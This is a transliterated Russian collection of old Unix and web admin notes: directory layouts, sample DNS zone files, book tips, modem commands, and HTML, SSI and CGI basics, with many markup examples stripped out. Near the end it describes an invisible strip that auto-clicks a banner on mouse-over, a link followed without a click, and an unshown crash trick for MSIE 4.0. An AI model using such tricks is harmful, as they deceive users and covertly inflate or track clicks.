proc - psevdo-fajlovaya sistema otobrazhaet sostoyanie zapushchennyh
processov
stand - razdel s zagruzochnymi fajlami (unix, kdebug)
tftpboot "zagruzchiki" dlya bezdiskovyh klientov
unix - yadro operacionnoj sistemy. - obyknovennyj vypolnyaemyj
fajl. Vozmozhno, chto lezhit on ne v /, i nazyvaetsya po
drugomu (naprimer vmunix, vmlinuz)
lost+found - katalog, kuda pri remonte fajlovoj sistemy sklady-
vayutsya fajly, "poteryavshie" svoi imena.
Katalog /etc - mesto dlya konfiguracionnyh fajlov
--------------------------------------------------
passwd zdes' opredeleny vse pol'zovateli
shadow ih paroli (v zakodirovannom vide)
group gruppy pol'zovatelej
aliases sinonimy pochtovyh adresov lokal'nyh pol'zovatelej
ftpusers spisok pol'zovatelej, na kotoryh nel'zya ftp-it'sya
shells spisok normal'nyh "shell'ov"
issue fajl, soderzhimoe kotorogo vydaetsya na ekran pered
priglasheniem k vhodu v sistemu.
motd fajl, soderzhimoe kotorogo vydaetsya na ekran posle
priglasheniya k vhodu v sistemu.
ttydefs parametry terminal'nyh linij
TIMEZONE fajl s informaciej o chasovom poyase, v kotorom
nahoditsya komp®yuter
uucp konfiguracionnye fajly sistemy UUCP
mail konfiguracionnye fajly sistemy mailx/sendmail
vfstab tablica montiruemyh fajlovyh sistem
dfs/dfstab tablica eksportiruemyh v NFS katalogov
auto_home karty avtomaticheski montiruemyh katalogov dlya automount
auto_master
format.dat parametry vseh vozmozhnyh diskov
hosts imena i IP adresa lokal'nyh host'ov
networks zadaet simvolicheskie imena IP setej
netmasks net maski IP setej
ethers ethernet'nye adresa bezdiskovyh klientov
hosts.equiv spisok host'ov, kotorym pozvoleno delat' u nas rsh
defaultdomain zadaet NDS domen
resolv.conf kto sluzhit nam DNS serverom
inetd.conf konfiguracionnyj fajl inetd demona
services sootvetstvie nomerov TCP portov ih simvolicheskim imenam
named.boot startovaya konfiguraciya servera DNS
inittab shema raboty processa init.
rc0.d/ katalogi s komandnymi fajlami, kotorye zapuska-
rc2.d/ yut pri perehode na/s sootvetstvuyushchego urovnya
rc3.d/ vypolneniya
init.d/ a etom kataloge lezhat kopii VSEH takih fajlov vmeste
rc0, rc2, rc3 Komandnye fajly, kotorye ih zapuskayut
magic Tablica s "magicheskimi chislami". Ispol'zuetsya koman-
doj file dlya opredeleniya tipa binarnogo fajla.
termcap fajl s opisaniyami terminalov v formate termcap
wtmp Fajl s informaciej o seansah raboty pol'zovatelej v
sisteme. Rekomenduetsya inogda opustoshat' ego.
Katalog /usr
sadm - fajly sistemnogo administratora
adm - nakaplivaemaya informaciya o rabote sistemy i
pol'zovatelej
bin - utility
sbin - utility sistemnogo administratora
ucb/bin - utility, harakternye dlya BSD Unix
mail - katalog pochtovoj sluzhby.
man - dokumentaciya sistemy v man formate
tmp - vremennye fajly. Ochishchaetsya pri zagruzke
include - include fajly dlya kompilyatora C
lib - biblioteki - sistemnye, pol'zovatel'skie,
razdelyaemye i staticheskie, a tak zhe mnogie
sluzhebnye katalogi nachinayutsya otsyuda.
/usr/lib/acct utility dlya sbora statistiki
/usr/lib/terminfo baza dannyh s opisaniyami terminalov.
/usr/lib/lp katalog sistemy LP spulinga pechati
/usr/lib/uucp katalog sistemy UUCP peresylki fajlov po modemu
spool - mesto dlya sluzhebnyh vremennyh fajlov
/usr/spool/lp katalogi dlya raboty sistemy spulinga pechati
/usr/spool/cron/crontabs komandy, vypolnyaemye po raspisaniyu
/usr/spool/cron/atjobs postavlennye na vypolnenie
/usr/spool/uucp spuling sistemy uucp
/usr/local - GNU-snyj katalog
/var - lokal'nye sluzhebnye fajly
/var/yp/Makefile - konfigurator NIS
/var/named - karty opisaniya DNS
.
&dDPrimer konfiguracionnyh fajlov DNS dlya standalone seti&d@.
Zadacha: skonfigurirovat' DNS-servis v otdel'nostoyashchej lokal'noj
seti.
domen: foms.msk.ru
adresa: 198.8.3.0
adresa: 198.8.2.0
DNS server: server.foms.msk.ru
Dlya etogo nuzhno zapolnit' fajly:
/etc/named.boot
/var/named/named.root
/var/named/127.0.0.0
/var/named/foms.msk.ru
/var/named/foms-hosts-spisok
/var/named/198.8.2.0
/var/named/198.8.3.0
i zapuskat' pri nachal'noj zagruzke demona /sbin/in.named
Primernoe soderzhanie konfiguracionnyh fajlov privedeno nizhe.
Peredelajte ih pod konkretnuyu konfiguraciyu vashej seti.
Priblizitel'naya ideologiya takova: servis DNS podderzhivaetsya
demonom named. Named pri starte schityvaet fajl startovoj
konfiguracii /etc/named.boot . V nem ukazyvaetsya, kak zovetsya
nash domen, i v kakih fajlah lezhat opisaniya imen hostov nashego
domena (parametr primary). My dolzhny lokal'no podderzhivat' tri
karty opisanij:
foms.msk.ru - vse hosty nashego domena.
3.8.198 - "obrashchennaya" karta nashego domena (prosto
perevorachivaem nashi IP-adresa zadom napered)
0.0.127 - zachem trebuetsya eshche karta nashej "local-network"
izvestno tol'ko razrabotchikam DNS, odnako
ee tozhe nuzhno opisat'.
v /etc/named.boot zapisano, v kakih fajlah lezhat opisaniya
domenov, named ih schityvaet, i nachinaet veshchat' na ves' mir.
;##############
; type domain source host/file backup file
;
directory /var/named
cache . named.root
primary 0.0.127.in-addr.arpa 127.0.0.0
primary foms.msk.ru foms.msk.ru
primary 3.8.198.in-addr.arpa 198.8.3.0
primary 2.8.198.in-addr.arpa 198.8.2.0
; Zony, dlya kotoryh my sluzhim rezervnym name-serverom
secondary gatelink.fr 134.214.100.1 secondary/gatelink.fr
secondary 214.134.in-addr.arpa 134.214.100.1 secondary/134.214.0.0
;############## konec fajla ###################################
;##############
; Initial cache data for root domain servers 1-may-98
;;;;Get it from
. 99999999 NS A.ROOT-SERVERS.NET
. 99999999 NS B.ROOT-SERVERS.NET
. 99999999 NS C.ROOT-SERVERS.NET
. 99999999 NS D.ROOT-SERVERS.NET
. 99999999 NS E.ROOT-SERVERS.NET
. 99999999 NS F.ROOT-SERVERS.NET
. 99999999 NS G.ROOT-SERVERS.NET
. 99999999 NS H.ROOT-SERVERS.NET
. 99999999 NS I.ROOT-SERVERS.NET
. 99999999 NS J.ROOT-SERVERS.NET
. 99999999 NS K.ROOT-SERVERS.NET
. 99999999 NS L.ROOT-SERVERS.NET
. 99999999 NS M.ROOT-SERVERS.NET
A.ROOT-SERVERS.NET internet address = 198.41.0.4
B.ROOT-SERVERS.NET internet address = 128.9.0.107
C.ROOT-SERVERS.NET internet address = 192.33.4.12
D.ROOT-SERVERS.NET internet address = 128.8.10.90
E.ROOT-SERVERS.NET internet address = 192.203.230.10
F.ROOT-SERVERS.NET internet address = 192.5.5.241
G.ROOT-SERVERS.NET internet address = 192.112.36.4
H.ROOT-SERVERS.NET internet address = 128.63.2.53
I.ROOT-SERVERS.NET internet address = 192.36.148.17
J.ROOT-SERVERS.NET internet address = 198.41.0.10
K.ROOT-SERVERS.NET internet address = 193.0.14.129
L.ROOT-SERVERS.NET internet address = 198.32.64.12
M.ROOT-SERVERS.NET internet address = 202.12.27.33
;############## konec fajla ###################################
;##############
; local dns file local.reverse 0.0.127.in-addr.arpa
;
@ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
94061801 ; Serial (yymmddxx)
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
IN NS server.foms.msk.ru.
1 IN PTR localhost.
;############## konec fajla ###################################
;##############
; foms.msk.ru zone hosts file for DNS-server server.foms.msk.ru
;
@ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
95031802 ; Serial (yymmddxx)
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
NS server.foms.msk.ru.
NS ns2.msk.ru.
MX 0 server.foms.msk.ru.
; MX 20 mail.msk.ru.
; MX 30 mailhost.kiae.su.
localhost A 127.0.0.1
$INCLUDE /var/named/primary/foms-hosts-spisok
;; Esli hotite otpustit' svoj poddomen *.develop.foms.msk.ru
;; na vyselki, samostoyatel'no podderzhivat' svoj domen.
;margo.develop IN A 193.95.100.4
;develop IN NS margo.develop.foms.msk.ru.
;############## konec fajla ###################################
;##############
;;;;;;;;;;;; Hosts in foms.msk.ru zone ;;;;;;;;;;;;;;;;;;;;;;;;
; Our main server with DNS, ftp, gopher, www, mailrelay, NFS,
;
server A 198.8.2.1 ; e1x70 ethernet
A 198.8.3.1 ; m3760 ethernet
A 193.124.158.33 ; sl0 slip link
MX 0 mailrelay
HINFO Motorola88/110 "SVR4.1/88"
WKS 198.8.2.1 UDP ( time domain name )
WKS 198.8.2.1 TCP ( echo telnet hostnames domain )
mailrelay CNAME server
ftp CNAME server
fedfond CNAME server
; Host s20
;
s20 A 198.8.2.20
MX 0 mailrelay
MX 20 linux
HINFO Besta/31 UNIX-V.3
besta CNAME s20
; Host pcat101
;
pcat101 A 198.8.2.101
MX 0 mailrelay
HINFO PC486/66DX2 "MSDOS 6.2"
pc101 CNAME pcat101
guest CNAME pcat101
; Host pcat106
;
pcat107 A 198.8.3.107 ; eth0
A 193.124.158.34 ; sl0 slip link
MX 0 pcat107
MX 10 mailrelay
HINFO PC486/66DX2 "Linux 1.2.1"
pc107 CNAME pcat101
linux CNAME pcat101
;############## konec fajla ###################################
;##############
@ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
94102501 ; Serial
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
NS server.foms.msk.ru.
; Reverse-name [ttl] PTR Real-name-dot
;
1 PTR server.foms.msk.ru.
20 PTR s20.foms.msk.ru.
101 PTR pcat101.foms.msk.ru.
;############## konec fajla ###################################
;##############
@ IN SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
94102501 ; Serial
10800 ; Refresh 3 hours
3600 ; Retry 1 hour
3600000 ; Expire 1000 hours
86400 ) ; Minimum 24 hours
NS server.foms.msk.ru.
; Reverse-name [ttl] PTR Real-name-dot
;
1 PTR server.foms.msk.ru.
106 PTR pcat106.foms.msk.ru.
107 PTR pcat107.foms.msk.ru.
;############## konec fajla ###################################
.
&dDKnizhki pro Unix&d@
Rekomenduyutsya lyubye knigi v tverdoj oblozhke importnyh
avtorov v perevode na russkij, OSOBENNO perevody knig
izdatel'stva O'Raily, vse ostal'nye (za redchajshim isklyucheniem)
- ne rekomenduyutsya. T.e., napisannye sovkami (ibo uchebniki
dolzhny pisat' professional'nye prepodavateli, a ne
professional'nye programmisty) i v myagkoj oblozhke (estestvenno,
ne schitaya izdatel'stva O'Raily)
Na russkom est':
&dDKernigan, Pajk&d@
Kernigan, Pajk, nazvanie pochemu-to pereveli kak "UNIX -
universal'naya sreda programmirovaniya". Warning! Pri nabore
russkogo izdaniya nalyapali OKEAN achipyatok i ashipok v chasti regex
i ne tol'ko. CHitat' ee imho nado v parallel' s manpages,
otdavaya onym prioritet v stremnyh situaciyah.
Ne smotrya na eto - otlichnaya knizhka. Mne bylo dazhe interesno ee
chitat'.
&dDGot'e&d@
Got'e "Rukovodstvo po operacionnoj sisteme UNIX". Tochnee,
SysV.release-unknown. No tozhe nichego dlya nachala.
&dDBaurn&d@
Baurn (nazvanie ya zabyl) horoshaya knizhka i troff opisan. Staraya,
iz serii "so strelochkami" iz-va "Mir".
&dDInmos85&d@
Belyakov Rabover Fridman -- chto-to na temu Inmos85. Interesno
pochitat'.
No sil'no ustarela. MOZHNO NE CHITATX
&dDMoris Dzh. Bah. Arhitektura operacionnoj sistemy Unix&d@
Ochen' tolkovo i dostupno opisany "potroha" - idei i algoritmy
realizacii yadra. Opisanie Unix iznutri. Napisana na "yazyke C" s
kommentariyami. Kniga ves'ma staraya, no tem ne menee tem, kto
zahochet uznat' bol'she - CHITATX REKOMENDUYU.
Bah Moris -- russkij perevod ego knigi hodil v vide 480Kb
arhiva.
&dD"Mobil'naya oper. sistema"&d@
Belyakov i Co. "Mobil'naya oper. sistema" (oranzhevaya knizhechka v
myagkoj oblozhke) -- kompilyaciya iz POSIX standartov vremen ok.
1989g. Malen'kaya takaya, horosha kak spravochnik.
i eshche dovol'no mnogo drugih...
&dD"UNIX/rukovodstvo sistemnogo administratora"&d@
"UNIX/rukovodstvo sistemnogo administratora", |vi Nemet, Gart
Snajder, Skott Sibas, Trent R.Hent. Kiev, bhv, 1997. 830 str.,
50 tr.
Ochen', ochen' dostojnaya knizhka. Pomogaet pochti ot vseh
boleznej. Edinstvennoe, chto otsutstvuet - Internet security, a
VSE ostal'noe est'. OBYAZATELXNO KUPITX.
&dD"Linux/vvedenie v operacionnuyu sistemu"&d@
Avtora vyyasnyu pozzhe. Kiev, bhv, 1997. 760 str.
Izdatel'stvo bhv, izvestnoe vyposkom neskol'kih
vysokoklasnyh knig po Unix, na etot raz napechatalo otkrovennuyu
halturu. Original byl ves'ma mogosloven i neryashlivo napisan.
Perevod eshche huzhe originala. KATEGORICHESKI NE REKOMENDUYU.
&dD * Gde kupit' * &d@
&dDIzdatel'stvo BHV"&d@
Za poslednee vremya izdalo neskol'ko ochen' kachestvennyh perevodnyh knig
po Unix i Internet
"BHV - Moskva" 270-2032
1. "Dom tehnicheskoj knigi" Leninskij pr., 40 (095) 137 6019
0633*
2. "Biblio-Globus" ul. Myasnickaya, 6 (095) 928 8744
3. "Molodaya Gvardiya" ul. B. Polyanka, 28 (095) 238 0032
5001*
4. "Centr-Tehnika" ul. Petrovka, 15 (095) 924 3624
5. TD "Moskva" ul. Tverskaya, 8 (095) 229 7355
6. "Dom knigi" ul. Novyj Arbat, 8 (095) 203 8242
7. "Dom pedagogicheskoj ul. Bol'shaya Dmitrovka, (095) 229 4392
knigi" 7/5
8. "Mir" Leningradskij pr., 78 (095) 152 8282
9. "Novyj" sh. |ntuziastov, 24 (095) 362 0923
10. "RiS" ul. Krasnogo mayaka, 11 (095) 313 8345
11. "Ridas" Novodanilovskaya nab., 9 (095) 954 3044
12. "Knorus" Milyutinskij per., 19/4 (095) 928 6269
13. "Midiks" Leninskij pr., 29 (095) 955 4101
14. "Dess" Rogozhskij val, 15 (095) 366 9295
______________________________________________________
* - telefony, gde chto-to mogut skazat' pro nalichie knig
LITEK - melkooptovaya torgovlya ot "KnoRusa" 911-9863
911-9742 ul. Nikolo-YAmskaya, 45 pod.2. Idti ot m.Taganskaya
kol'cevaya, po Sadovomu kol'cu vniz do b.Drovyannogo per,
zavernut' tuda i do upora v ul. Nikolo-YAmskuyu. Perejti ulicu i
napravo do 45 doma(tam mehovoe atel'e) vhod so dvora.
Polupodval
Informaciyu i mozhno poluchit'
http://www.book.ru
http://www.bhv.ru
&dDKnigi o Linux&d@
Algoritm takoj:
pojti v krupnyj knizhnyj,
vzyat' tam vse knizhki po linuksu, kakie est',
potom popytat'sya kazhduyu iz nih pochitat' 5-10 minut.
Esli ot knizhki ne toshnit - to ee vpolne mozhno brat'.
.
&dDNeskol'ko upravlyayushchih komand Hayes-sovmestimogo modema&d@
(Kompilyaciiya iz dokumentacii modemov ZyXEL 1496*, GVC-1440)
AT&F0 Factory setting
Ili na ZyXEL vklyuchit' modem s nazhatoj knopkoj
Enter ili Data/Voice
ATZ0 Zagruzit' profile 0
AT&V Raspechatat' setup
AT&W0 Sohranit' setup v profile 0
AT&Y0 Pri vklyuchenii zagruzhat' profile 0
ATE0 Vyklyuchit' eho
atdpTELEFONNYJ NOMER Pul'sovyj nabor nomera
+++ Vyjti iz connect'a v komandnyj rezhim
ATO Vernut'sya iz komandnogo rezhima v CONNECT
ATH Polozhit' trubku
ATA Podnyat' trubku i otvetit' na zvonok
ATS0=2 Snimat' trubku posle 2-go zvonka
&dDKomandy, kotorye obychno i sami po sebe ustanovleny&d@.
AT&P1 Make / break 33/67 (Europe)
ATQ0 Vozvrashchat' kod vozvrata
ATV1 Kod vozvrata tekstovyj
&dDKomandy, kotorye vozmozhno zahochetsya ustanovit'&d@.
AT&L1 V rezhim vydelennyh linij
AT\N5 Zapretit' soedinenie BEZ szhatiya MNP5 ili V42bis
ATB6 Postavit' skorost' 2400 i nizhe
ATL0 Samyj tihij zvuk
ATM0 Speaker always off
&dDKomandy GVC-1440&d@
B_ B1 Bell mode (*)
B2 Autoscan mode
D_ R originate call in answer mode
W whait for second dialtone
, pause
@ wait for 5 seconds silence
! flash
; return to command mode after dialing
H 1 make busy
I [0-4] info
L 2 medium speacker
M 0 internal speacker off
1 internal speacker on until carrier
2
3
O 0 return to data mode
1 return to data mode and initiate equaliser retrain
Registry
s0 autoanswer ring 0
s1 ring counter 0
s2 Escape code character +
s3 CR character 13
s4 LF character 10
s5 BS character 8
S6 dial tone whait time 2 sec
S7 remote carrier whait time 45 sec
s8 comma pause time 2 sec
s9 carrier dettect responce time 6 *1/10 sec
s10 carrier loss time 14 *1/10 sec
s11 touch tone dialing speed 95 ms
s12 esc character detect time 50 1/50 sec
s14 bitmap
s16 bitmap
s18 modem test timer 0
s21 bitmap
s22 bitmap
s23 bitmap
s25 DTR delay 5 sec
s26 RTS to CTS delay interval 1 *1/100 sec
s27 bitmap
s28 bitmap
.
&dDKonfigurirovanie servera HTTPD i format yazyka HTML&d@
|tot tekst budet slegka bolee dostupnym
dlya ponimaniya, esli vy posmotrite na nego v ishodnom vide -
&dD"Document source"&d@
&dDFajly v katalogah s dokumentami&d@
index.html Esli prosyat vydat' katalog, to vydayut index
esli ego net, vydaetsya prosto oglavlenie kataloga
HEADER.html Ego soderzhimoe dobavlyaetsya pered nachalom listinga
README.html Ego soderzhimoe dobavlyaetsya k koncu listinga
.htaccess Upravlyayushchij fajl s lokal'nymi nastrojkami tekushchej direktorii
Razobrat'sya stoit s etimi harakteristikami:
Alias - gde to dolzhna lezhat' rasshifrovka. a server budet
ee podstavlyat'.
Vot tol'ko gde ?
&dDSpecsimvoly:&d@
Nuzhno zadavat' tak:
& - &
" - "
> - >
< - <
>> - >>
<< - <<
(C) - © ili ©
(R) - ®
- —
- –
<= - <=
>= - >=
Extra space -
&dDZagolovki&d@
Zagolovok vsego dokumenta
Zagolovok 2-go urovnya
Ssylka na podrazdel v dokumente
Ssylka otkryvaemaya v drugom okne
Tak eto mesto dolzhno byt' pomecheno v Dokumente
&dDNenumerovannyj spisok (Unnumbered list)&d@
- Odna poziciya
- Drugaya poziciya
&dDPronumerovannyj spisok (Numbered list)&d@
- Pervaya poziciya
- Vtoraya poziciya
&dDEst' tak zhe i bolee "melkie" spiski:&d@
,
12
&dDSpiski s podzagolovkami (Definition list)&d@
- Nazvanie punkta
- Tekst, raspisyvayushchij soderzhimoe punkta
- Nazvanie punkta
- Tekst, raspisyvayushchij soderzhimoe drugogo punkta
Preformatirovannyj fragment teksta
Preformatirovannyj fragment teksta v shirinu 80
Ustanavlivaet obshchij otstup vpravo.
Vynesennyj vpravo fragment teksta
Gorizontal'naya cherta
Okonchanie paragrafa
ZHestkij konec stroki
Tekst mezhdu etimi tagami ne budet perenosit'sya
na novuyu storku kakim by dlinnym on ne byl
&dDFizicheskie stili&d@
Bold zhirnyj tekst
Itallic kursiv tekst
Underline podcherknutyj Rabotaet tol'ko v Netscape 3
Typewriter tekst s fontom fiksirovannoj shiriny
Strike perecherknutyj tekst
&dDLogicheskie stili&d@
Definition. Opredelyaemoe slovo italic
Emphasis. Udarenie italic
Titles of books. Citata italic
Programm. Programmnyj tekst fixed
User keyboard entry. bold fixed
Status message fixed
Variable. italic
Strong emphasis. bold
Vydelyaetsya adres italic
&dDUpravlenie cvetami i fontami&d@
_BODY_ tagi srabatyvayut tol'ko esli raspolozheny v samom nachale dokumenta
A tak ustanavlivayut sobstvennye cveta vo vsem dokumente
A tak delali traurnye kolera, kogda protestovali.
Tekst bOl'shego razmera, i pokrashennyj v krasnyj cvet, s zadannym tipom fonta
Dal'she pojdet tekst s fontom zadannogo razmera
a tak zhe background zvuk
&dDTak vyglyadit obychnaya ssylka.&d@
Low impact
&dDTak vstavlyayut kartinku&d@
Esli nuzhen tekst sboku
ot kartinki
Otstup teksta ot kartinki
ALT - chto napisat', esli kartinka ne chitaetsya,
LOWRES - pered risovaniem bol'shoj kartinki zagruzit' etu - malen'kuyu
Tak podkladyvayut BACKGROUND
&dDTablichki -&d@
| tr - zadaet stroku Stolbec | Stolbec |
Vnutri tablicy mozhet byt' takoj tag, Podzagolovok?
| Tablichka fiksirovannoj shiriny, | ne zavisyashchaya ot razmerov vnutrennego teksta |
&dDVstroennaya imagemap&d@
&dDO protokole HTTP/1.*&d@
Klient otkryvaet tcp soedinenie s hostom www.host.com na port
(obychno 80) i govorit tuda
GET /local/url/file/name.html HTTP/1.0
Host: www.host.com
Http_referer: url_dokumenta_na_kotorom_stoyal_klient
Eshche nekotoroe kolichestvo zagolovkov,
kotorye rasskazyvayut serveru, kto s nim imeet delo.
Vse oni, krome GET neobyazatel'ny
. . .
^M^J - pustaya stroka - konec zagolovkov - konec zaprosa
Obratno vyvalivaetsya otvet servera:
http-shnye zagolovki
na neskol'kih strokah
^M^J - pustaya stroka
Sobstvenno zaproshennyj dokument as is
&dDUprazhnenie:&d@ skazhite
$ telnet www 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /index.html HTTP/1.0
I potom dva raza nazhmite na Enter
&dDKak rabotet dokachka v HTTP/1.1 protokole?&d@
V zapros vstavlyaetsya special'noe pole "Range: bytes nnn-".
Server s dokachkoj vozvrashchaet kod 206 - "CHast' soderzhimogo" i
peredaet zaproshennuyu chast' fajla. Esli server ne podderzhivaet
dokachki, on prosto vozvrashchaet 200 i vysylaet ves' fajl kak pri
obychnom zaprose.
&dDSSI - Server Side Includes&d@
Polnaya specifikaciya lezhit, naprimer na www.apache.org
0. CHtoby SSI-fajly vzvodili Last-modified, dobavit' v konfig
XBitHack full
i sdelat' im chmod g+x file.shtml
1. CHtoby SSI vypolnyalis', neobhodimo zadat' v konfiguracionnyh
fajlah servera:
/etc/httpd/conf/access.conf :------------------------
# "Vklyuchit'"
Options +Includes # ili dazhe Options All
/etc/httpd/conf/srm.conf :------------------------
AddType text/html .shtml
AddHandler server-parsed .shtml
2. Togda SSI otrabatyvayutsya tol'ko v fajlah s rasshireniem .shtml
Primery:
charset=
The value will often be enclosed in double quotes; many comn
mands only allow a single attribute-value pair.
The allowed ELEMENTS are:
config - parametry parsinga
Atributy config
errmsg - soobshchenie ob oshibke, posylaemoe klientu
sizefmt - format razmera fajla
timefmt - format daty modifikacii fajla
var - napechatat' imya peremennoj
exec - vypolnit' shell ili CGI-skript
cgi - (%-encoded) URL relative path to the CGI script.
cmd - vypolnit' shell
fsize - napechatat' razmer fajla
file - otnositel'noe imya fajla
virtual -(%-encoded) URL-path relative fajla
flastmod - poslednnee vremya modifikacii fajla
include - vstavit' dokument
file - vstavlyaemyj fajl
virtual - URL - tol'ko na etom zhe hoste
Include variables
These are available for the echo command, and to any program
invoked by the document.
DATE_GMT
The current date in Greenwich Mean Time.
DATE_LOCAL
The current date in the local time zone.
DOCUMENT_NAME
The filename (excluding directories) of the document requested
by the user.
DOCUMENT_URI
The (%-decoded) URL path of the document requested by the user.
Note that in the case of nested
include files, this is not then URL for the current document.
LAST_MODIFIED
The last modification date of the document requested by the user.
If server side includes are enabled, you will see data values below:
The date is:
The current version of the server
The CGI gateway version
The server name
This file is called:
This file's URI
The query string
This file was last modified:
The size of the unprocessed file
sample.html was last modified
You are using
You came from
# |mulyaciya SSI v perl-cgi
if (//) {
print $`;$tmp = $';
open (INC,"$inc") || die "Can't Open $inc: $!\n";
while () {
if (//) {
@time = localtime ( time() ); $time[4]++;
if ($time[4] < 10) { $time[4] = "0" . "$time[4]"; }
s//$time[3].$time[4].$time[5]/g;
}
print $_;
}
close(INC);
print "$tmp";
}
&dDUpravlenie dostupom cherez httpd.conf&d@
SetEnvIfNoCase Referer rusf\.ru internal_referer
SetEnvIfNoCase User-Agent Teleport internal_referer
SetEnvIfNoCase User-Agent Vampire internal_referer
SetEnvIfNoCase User-Agent ReGet internal_referer
SetEnvIfNoCase User-Agent GetRight internal_referer
SetEnvIfNoCase User-Agent Wget internal_referer
ErrorDocument 403 http://rusf.ru/books/index.htm
order deny,allow
deny from all
allow from env=internal_referer
# No offline browsers v robots.txt
User-Agent: DISCo Pump, Wget, WebZIP, Teleport Pro, WebSnake, Offline
Explorer, Web-By-Mail
Disallow: /
&dDCGI - specifikaciya interfejsa mezhdu serverom httpd&d@
i vneshnimi, vyzyvaemymi programmami - gateeway'yami.
Sam CGI-script dolzhen lezhat' v /home/httpd/cgi-bin
togda ego nahodyat (ili v drugih katalogah, opisannyh v acces.conf
Dannye peredayutsya v komandnoj stroke, cherez peremennye
okruzheniya, i cherez standartnyj vvod. Vozvrashchayutsya na
standartnyj vyvod, v nachale dolzhna stoyat' "volshebnaya stroka"
Esli dobavit' v konnfiguracionnyj fajl
/etc/httpd/conf/srm.conf :------------------------
AddType application/x-httpd-cgi .cgi
To CGI-skripty mozhno budet klas' v lyuboj podkatalog dereva
dokumentov - s rasshireniem .cgi
&dDFormy i indeksy&d@
Vojti v fajl, i spozicionirovat'sya na stroku s shablonom "cl"
http://hoohoo.ncsa.uiuc.edu/file.html#cl
Request for a CGI script with no extra path information and no query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi
Request for a script with extra path information, and no query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path
Request for a script with no extra path information, and an ISINDEX query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?query
Request for a script with extra path information as well as an ISINDEX query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path?a+query
Vyzyvaetsya odna i ta zhe programma, no ej peredaetsya 0,1,1 ili 2 argumenta:
extra path - "dobavochnyj marshrut", idushchij vsled za imenem ekzeshnika
query - dlinnaya stroka posle znaka "?"
na extra path rabotaet image map - im peredaetsya imya opisatelya kartinki
query peredaetsya zapolnennym ISINDEX
&dDCGI-skriptu peredayutsya takie parametry:&d@
Parametry peredayutsya v peremennyh okruzheniya.
REMOTE_ADDR=127.0.0.1
REMOTE_HOST=localhost
HTTP_REFERER=http://www.ac.msk.su:80/cgi-bin/html-KOI?KSP/bachurin.txt
REQUEST_METHOD=GET
QUERY_STRING=query
PATH_INFO=/marshrut
PATH_TRANSLATED=/home/httpd/docs/marshrut
SCRIPT_NAME=/cgi-bin/proba
HTTP_USER_AGENT=NCSA Mosaic for the X Window System/2.4 libwww/2.12 modified
A teper' vot kak oformlyayutsya formy s checkbox'ami:
# ISINDEX - parametr zaprosa peredaetsya prgogramme CGI v $1
# V forme METHOD=GET - tam vyzyvaetsya komanda kotoroj peredaetsya
# argument v peremennoj okruzheniya QUERY_STRING
# http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?button1=on&button2=off
# A vot kak rabotaet POST, i PUT. Dopolnitel'naya informaciya protalkivaetsya
klientom na server. Server podaet ee cgi-programme na standartnyj vvod.
dlina posylaemogo fajla ustanavlivaetsya v peremennoj okruzheniya CONTENT_LENGTH
a tip dannyh - v CONTENT_TYPE
FORM ACTION="http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi" METHOD="POST"
&dDCHto my posylaem klientu obratno:&d@
Status: 200 OK
Status: 404 File not found
Content-type: text/html
Soderzhimoe, kotoroe kidaetsya skvoz' nashego servera - klientu
Esli ya generyu ne soderzhimoe, a tol'ko ssylku, to:
Location: /path/doc.txt
ili
Location: gopher://gopher.ncsa.uiuc.edu/
Generim tekst v chistom servernom vide - on poedet
klientu srazu, bez dopolnitel'noj fil'tracii:
--- start of output ---
HTTP/1.0 200 OK
Date: Tuesday, 26-Dec-95 15:17:10 GMT
Server: NCSA/1.3
MIME-version: 1.0
Content-type: text/html
Last-modified: Tuesday, 24-Dec-95 15:15:41 GMT
Content-length: 3132
This is a plaintext document generated on the fly just for you.
--- end of output ---
Podstavlyajte tuda sootvetstvuyushchie znacheniya peremennyh
$SERVER_PROTOCOL $SERVER_SOFTWARE
&dDFenechki&d@
Avtopodstanovka URL s timeout'om. Podstavit' v nachalo dokumenta:
Dal'she idet mestnyj HTML-dokument - kotoryj cherez 12 sekund budet
avtomaticheski zamenen na vysheukazannyj URL
Voobshche - tag META HTTP-EQUIV pozvolyaet vzvesti dopolnitel'nye polya v
HTTP-zagolovok dokumenta. Naprimer "nasil'stvennoe vzvedenie charset'a:
Content-type: text/html
Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Feb-96 23:59:59 GMT; path=/cgi-bin/mycgiprogram
|ta shtuchka budet avtomatom otsylat'sya v nash server klientom, kak tol'ko on ee poluchil
Podrobnee sm. http://citforum.ru/win/internet/html/c_what_is.shtml
Esli skazat' tak, to klient ostanetsya na starom meste, i ne
budet perehodit' po ssylke
Status: 204 No Content
A takoj link pozvolyaet srazu zapolnit' nekotorye polya v mailto poslanii
tets
Samoklikaemoe pis'mo
> Byla ideya posylat' v nego soobshchenie kogda myshkoj nad bannerom provodyat.
> (Kogda banner interesen, chasto k nemu kursor podvodyat)
> No chto-to ya ne dopgr kak eto realizovat' bez hidden frame.
V pravilah ustanavlivaesh', chto u tebya _standartnyj kod_
tvoej setki soderzhit:
Kogda klient budet snizu _peresekat'_ mysh'yu tvoyu odnopiksel'nuyu
polosku budet avtoklik, a chtob klienta ne napryagat' -
puskaj tvoj http://koshelev.ru/cgi-bin/bannerOver
vozvrashchaet kod 204 No Content - t.e. _ne perehodit'_ na link a
ostat'sya na staroj stranice.
&dDSsylka na kotoruyu perehodyat avtomaticheski&d@
Dostatochno navesti na etu ssylku mysh', i brouzer pojdet po
linku - bez klika.
&dDProstye eksplojty&d@
MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag.
